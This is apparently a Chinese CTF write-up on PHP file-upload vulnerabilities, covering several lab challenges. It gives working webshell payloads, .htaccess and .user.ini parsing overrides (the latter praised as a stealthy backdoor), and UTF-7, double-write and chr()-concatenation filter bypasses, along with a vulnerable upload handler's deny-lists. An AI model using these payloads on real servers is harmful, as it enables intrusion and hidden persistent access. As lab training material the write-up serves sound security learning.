文件上传漏洞

文件上传漏洞

.htaccess任意文件解析

当服务器对上传文件的类型进行限制的时候,可以上传.htaccess文件重新配置文件的解析。简单来说,将不是.php文件解析成.php文件。比如上传的文件是1.jpg,可以用.htaccess文件将1.jpg解析成1.php。

.htaccess文件配置信息,将后缀为.aaa的文件均解析为php文件。

1
AddType application/x-httpd-php .aaa//将.aaa换成其他比如.jpg就会将.jpg文件解析成.php文件

短标签绕过

这里会有版本的影响,JS只能在PHP5使用,PHP7不支持ASP

使用场景:当例如<?php被过滤了,就可以使用其他标签风格来编写。

  • JS风格
1
<script language="php">phpinfo();</script>
  • 短标签风格
1
<?=phpinfo();?>
  • <?=?><?php echo ....?>等效
  • ASP风格
1
<% phpinfo();%>
  • 官方默认风格
1
<?php phpinfo(); ?>

例如upload2

尝试直接上传一个一句话木马

image-20201024155350006

发现说此文件不允许上传,一般来说都不会允许上传php文件的。所以先上传一个.htaccess

image-20201024155315606

再上传一句话木马

image-20201024155514642

显示Can’t upload php file。那就换一个短标签。

1
<script language="php">@eval($_POST['cmd']);</script>

image-20201024155646059

上传成功。连蚁剑找到flag

image-20201024160110150

特殊编码绕过(UTF-7)

如果程序过滤了所有标签形式、或者说过滤了<?而且PHP是在PHP7以上版本(PHP7已经将其他标签形式过淘汰,仅剩下<?php形式),我们就使用UTF-7进行编码,然后再使用.htaccess对UTF-7编码的文件进行解码。

例如upload4

  • .htaccess
1
2
3
4
AddType application/x-httpd-php .aaa
php_flag display_errors on
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
  • mua.aaa
1
2
+ADw?php +AEA-eval(+ACQAXw-POST+AFs'a'+AF0)+ADs?+AD4-
//<?php @eval($_POST['a']);?>

上传.htaccessimage-20201024160743168

上传mua.aaaimage-20201024160813089

拿flagimage-20201024163112497

双写绕过

假如上传的内容被检测出来且替换为空,则可以使用双写绕过。例如:文件中的php、eval等被匹配检测出来并替换为空,我们就将内容写成pphp、eevalval,这样就可以在替换完之后,变成php、eval。

例如upload3

先上传一个.htaccess解析文件再说

1
AddType application/x-httpd-php .aaa

上传成功。

再上传一个标准的一句话木马

1
2
3
<?php
@eval($_POST['cmd']);
?>

image-20201024205312985

结果弹出一个下载mua.aaa窗口,下载回来看看。

image-20201024205348890

结果发现,php,eval,post都没了。应该就是被检测到敏感字符并被替换成空了。试试双写上传。

1
2
3
<?pphphp
@eevalval($_PPOSTOST['cmd']);
?>

下载回来看到:

image-20201024212357513

正常,但是不能运行。原因是.htaccess文件里的php也被替换成空了。再双写上传一次:

1
AddType application/x-httpd-pphphp .aaa

成功拿到flag

image-20201024212442665

.user.ini绕过

执行php文件时,会扫描每个目录的ini文件,范围就是从所在文件目录开始一直上升到根目录。所以 .user.ini实际上就是一个可以由用户“自定义”的一个php.ini文件。

.user.ini配置项里有一个auto_prepend_file。作用是指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。

注意:要用到.user.ini必须在文件夹里有php文件。

使用方法:

1
auto_prepend_file=01.gif //01.gif是要包含的文件

新建一个目录test,包含.user.ini、01.gif、test.php三个文件

.user.ini

image-20201024221659363

01.gif

1
2
3
<?php
@eval($_GET['cmd']);
?>

test.php

1
2
3
<?php
echo "sb";
?>

测试结果:

image-20201025133402059

所以这是一个留后门很好的方法,隐秘性也很高。

.htaccess文件换行绕过

上传的.htaccess文件内容被过滤时,可以对内容进行换行绕过。因为.htaccess支持换行编写。

例如upload6

image-20201025134101049

上传时发现出错,报告“内容不能有application”。那就是被检测到阻止上传。换行内容上传试试。

image-20201025134343746

上传成功了。再上传一句话木马。

image-20201025134504010

image-20201025134628032

动态拼接函数绕过函数过滤

例题:upload7

先扫一扫目录,发现有备份文件

image-20201025204841635

下载备份文件。

image-20201025205028132

将文件名改成.index.php.swp在Linux下用vim打开

image-20201025205545739

R恢复源码

image-20201025205616330

获得源码

image-20201025205504399

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

//设置上传目录
define("UPLOAD_PATH", "../upload");

function deldot($s){
for($i=strlen($s)-1;$i>0;$i--){
$c=substr($s,$i,1);
if($i == strlen($s)-1 and $c != '.'){
return $s;
}

if($c != '.'){
return substr($s,0,$i+1);
}
}
}

$is_upload=false;
$msg=null;

if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext=array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name=trim($_FILES['pic']['name']);
$file_name=deldot($file_name);//删除文件名末尾的点
$file_ext=strrchr($file_name, '.');
$file_ext=strtolower($file_ext); //转换为小写
$file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext=trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file=$_FILES['pic']['tmp_name'];
$img_path=UPLOAD_PATH.'/'.$file_name;

if(preg_match("/(phpinfo|system\(|eval\(|file_put_contents|file_get_contents|passthru|exec\(|chroot|scandir|proc_open|delfolder|unlink|mkdir|fopen|fread|fwrite|fputs|tmpfile|flock|chmod|delete|assert|_post|_get|_request|_file|create_function|array_walk|preg_replace|cookie)/Ui",file_get_contents($temp_file))){
die("不能含有危险函数!");
}
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload=true;
echo "上传成功"."<br>";
echo $img_path;
}else{
echo '上传出错!';
}
}else{
echo '此文件不允许上传!';
}
}else{
echo UPLOAD_PATH . '文件夹不存在,请重新上传!';
mkdir(UPLOAD_PATH,775,true);
}
}
?>

阅读代码后,知道对危险函数进行了过滤,这时候可以使用aiisc码拼接动态构造函数来绕过。

上传.htaccess

1
AddType application/x-httpd-php .aaa

上传mua.aaa

1
2
3
4
<?php
$a = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
$a('cat /flag');
?>

image-20201025210307444

拿flag

image-20201025210329259